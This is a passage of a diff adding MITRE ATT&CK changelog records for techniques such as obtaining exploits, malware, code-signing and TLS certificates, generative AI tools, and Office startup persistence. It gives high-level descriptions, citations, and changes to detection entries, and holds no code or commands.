+ "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
+ "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
+ },
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+ "source_name": "Analyzing CS Dec 2020",
+ "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
+ "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
+ },
+ {
+ "source_name": "NationsBuying",
+ "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
+ "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
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+ "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks, including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI) \n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI) Finally, AI-generated text, images, audio, and video may be used for fraud, [Impersonation](https://attack.mitre.org/techniques/T1656), and other malicious activities.(Citation: Google-Vishing24)(Citation: IC3-AI24)(Citation: WSJ-Vishing-AI24)\n",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/007",
+ "external_id": "T1588.007"
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+ "source_name": "WSJ-Vishing-AI24",
+ "description": "Catherine Stupp. (2019, August 30). Fraudsters Used AI to Mimic CEO\u2019s Voice in Unusual Cybercrime Case. Retrieved March 18, 2025.",
+ "url": "https://www.wsj.com/articles/fraudsters-use-ai-to-mimic-ceos-voice-in-unusual-cybercrime-case-11567157402"
+ },
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+ "source_name": "Google-Vishing24",
+ "description": "Emily Astranova, Pascal Issa. (2024, July 23). Whose Voice Is It Anyway? AI-Powered Voice Spoofing for Next-Gen Vishing Attacks. Retrieved March 18, 2025.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/ai-powered-voice-spoofing-vishing-attacks"
+ },
+ {
+ "source_name": "IC3-AI24",
+ "description": "IC3. (2024, December 3). Criminals Use Generative Artificial Intelligence to Facilitate Financial Fraud. Retrieved March 18, 2025.",
+ "url": "https://www.ic3.gov/PSA/2024/PSA241203"
+ },
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+ "source_name": "MSFT-AI",
+ "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
+ },
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+ "source_name": "OpenAI-CTI",
+ "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024.",
+ "url": "https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/"
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+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.190000+00:00\", \"old_value\": \"2025-04-15 19:58:05.447000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0842: Detection of Artificial Intelligence"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 02:11:47.237000+00:00",
+ "modified": "2025-10-24 17:49:32.891000+00:00",
+ "name": "Code Signing Certificates",
+ "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/003",
+ "external_id": "T1588.003"
+ },
+ {
+ "source_name": "Wikipedia Code Signing",
+ "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
+ "url": "https://en.wikipedia.org/wiki/Code_signing"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.891000+00:00\", \"old_value\": \"2025-04-15 22:05:19.685000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0004: Malware Repository (Malware Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0875: Detection of Code Signing Certificates"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 02:14:18.044000+00:00",
+ "modified": "2025-10-24 17:48:27.525000+00:00",
+ "name": "Digital Certificates",
+ "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/004",
+ "external_id": "T1588.004"
+ },
+ {
+ "source_name": "DiginotarCompromise",
+ "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
+ "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
+ },
+ {
+ "source_name": "Recorded Future Beacon Certificates",
+ "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
+ "url": "https://www.recordedfuture.com/research/cobalt-strike-servers"
+ },
+ {
+ "source_name": "Splunk Kovar Certificates 2017",
+ "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
+ "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
+ },
+ {
+ "source_name": "Let's Encrypt FAQ",
+ "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020.",
+ "url": "https://letsencrypt.org/docs/faq/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Certificate: Certificate Registration\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.525000+00:00\", \"old_value\": \"2025-04-15 22:18:17.702000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)",
+ "DS0037: Certificate (Certificate Registration)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0848: Detection of Digital Certificates"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 02:17:46.086000+00:00",
+ "modified": "2025-10-24 17:49:36.851000+00:00",
+ "name": "Exploits",
+ "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/005",
+ "external_id": "T1588.005"
+ },
+ {
+ "source_name": "PegasusCitizenLab",
+ "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
+ "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
+ },
+ {
+ "source_name": "NationsBuying",
+ "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
+ "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
+ },
+ {
+ "source_name": "Exploit Database",
+ "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.",
+ "url": "https://www.exploit-db.com/"
+ },
+ {
+ "source_name": "TempertonDarkHotel",
+ "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
+ "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
+ },
+ {
+ "source_name": "Wired SandCat Oct 2019",
+ "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.",
+ "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:36.851000+00:00\", \"old_value\": \"2025-04-15 22:34:05.500000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\", \"diff\": \"--- \\n+++ \\n@@ -1,2 +0,0 @@\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0827: Detection of Exploits"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 02:06:11.499000+00:00",
+ "modified": "2025-10-24 17:48:58.766000+00:00",
+ "name": "Malware",
+ "description": "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.\n\nIn addition to downloading free malware from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware development, criminal marketplaces (including Malware-as-a-Service, or MaaS), or from individuals. In addition to purchasing malware, adversaries may steal and repurpose malware from third-party entities (including other adversaries).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/001",
+ "external_id": "T1588.001"
+ },
+ {
+ "source_name": "FireEyeSupplyChain",
+ "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
+ "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\", \"Malware Repository: Malware Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.766000+00:00\", \"old_value\": \"2025-04-15 22:47:58.443000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0004: Malware Repository (Malware Content)",
+ "DS0004: Malware Repository (Malware Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0845: Detection of Malware"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-15 02:59:38.628000+00:00",
+ "modified": "2025-10-24 17:48:34.033000+00:00",
+ "name": "Vulnerabilities",
+ "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1588/006",
+ "external_id": "T1588.006"
+ },
+ {
+ "source_name": "National Vulnerability Database",
+ "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.",
+ "url": "https://nvd.nist.gov/"
+ }
+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "changelog_mitigations": {
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+ "M1056: Pre-compromise"
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+ "changelog_datacomponent_detections": {
+ "shared": [],
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0808: Detection of Vulnerabilities"
+ ],
+ "dropped": []
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+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-12-14 16:46:06.044000+00:00",
+ "modified": "2025-10-24 17:48:34.614000+00:00",
+ "name": "Office Application Startup",
+ "description": "Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.\n\nA variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)",
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+ "external_id": "T1137"
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+ "source_name": "Microsoft Detect Outlook Forms",
+ "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
+ "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
+ },
+ {
+ "source_name": "TechNet O365 Outlook Rules",
+ "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.",
+ "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/"
+ },
+ {
+ "source_name": "CrowdStrike Outlook Forms",
+ "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
+ "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
+ },
+ {
+ "source_name": "SensePost Ruler GitHub",
+ "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
+ "url": "https://github.com/sensepost/ruler"
+ },
+ {
+ "source_name": "SensePost NotRuler",
+ "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
+ "url": "https://github.com/sensepost/notruler"
+ },
+ {
+ "source_name": "Outlook Today Home Page",
+ "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
+ "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
+ }
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+ "Microsoft Threat Intelligence Center (MSTIC)",
+ "Sahar Shukrun",
+ "Praetorian",
+ "Loic Jaquemet",
+ "Ricardo Dias"
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+ "Office Suite"
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+ "M1040: Behavior Prevention on Endpoint",
+ "M1042: Disable or Remove Feature or Program",
+ "M1051: Update Software",
+ "M1054: Software Configuration"
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+ "changelog_datacomponent_detections": {
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+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0398: Detect Office Startup-Based Persistence via Macros, Forms, and Registry Hooks"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-11-07 19:52:52.801000+00:00",
+ "modified": "2025-10-24 17:48:37.911000+00:00",
+ "name": "Add-ins",
